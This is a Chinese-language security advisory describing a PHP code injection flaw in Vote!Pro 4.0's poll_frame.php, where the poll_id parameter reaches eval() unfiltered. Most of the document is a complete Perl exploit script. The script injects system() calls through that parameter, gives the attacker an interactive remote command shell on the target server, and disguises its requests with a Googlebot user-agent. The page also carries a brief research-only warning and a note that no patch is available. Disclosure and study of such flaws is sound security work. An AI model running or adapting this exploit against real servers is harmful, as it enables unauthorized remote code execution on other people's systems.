发布日期：2007-01-23
更新日期：2007-01-24

受影响系统：

Vote! Pro Vote! Pro 4.0

描述：

---

CVE(CAN) ID: CVE-2007-0504,CVE-2007-0535

Vote!Pro是一个可以自定义的在线投票和调查程序。

Vote!Pro处理有用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

Vote!Pro的poll_frame.php文件没有正确地过滤eval()调用所使用的poll_id参数，允许攻击者通过提交特制的参数值注入并执行任意PHP代码。

<*来源：r0ut3r （writ3r@gmail.com）
  
  链接：http://secunia.com/advisories/23834/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#################################################################################################
#                                    r0ut3r Presents...                                         #
#                                                                                               #
#                                Another r0ut3r discovery!                                      #
#                                  writ3r [at] gmail.com                                        #
#                                                                                               #
#                          Vote-Pro Code Injection 0day Exploit                                 #
#################################################################################################
# Software: Vote-Pro 4.0                                                                        #
#                                                                                               #
# Vendor: http://www.vote-pro.com/                                                              #
#                                                                                               #
# Released: 2007/01/23                                                                          #
#                                                                                               #
# Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com)                                       #
#                                                                                               #
# Note: The information provided in this document is for Vote-Pro administrator                 #
# testing purposes only!                                                                        #
#################################################################################################

use IO::Socket;

$port = "80"; # connection port
$target = shift; # vote-pro.com
$folder = shift; # /votepro/

sub Header()
{
    print q
    {Vote-Pro Code Injection Exploit - writ3r [at] gmail.com
-------------------------------------------------------
};
}

sub Usage()
{
    print q
    {
Usage: votecmd.pl [target] [directory]
Example: votecmd.pl vote-pro.com /votepro/
};
    exit();
}

Header();

if (!$target || !$folder) {
    Usage(); }

print "[+] Connecting...\n";
$cmd = "dir";
while ($cmd !~ "exit")
{
    $xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
    print $xpack "GET ".$folder."poll_frame.php?poll_id=hyphy;system($_GET[com]);&com=".substr($cmd, 0, -1)."; HTTP/1.1\n";
    print $xpack "Host: $target\n";
    print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
    print $xpack "Accept: text/html\n";
    print $xpack "Connection: keep-alive\n\n";

    print "[cmd]\$ ";
    $cmd = <STDIN>;
    $cmd =~ s/ /%20/g;
}

print "[!] Connection to host lost...\n";

建议：

---

厂商补丁：

Vote! Pro
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.vote-pro.com/

浏览次数：2562
严重程度：0（网友投票）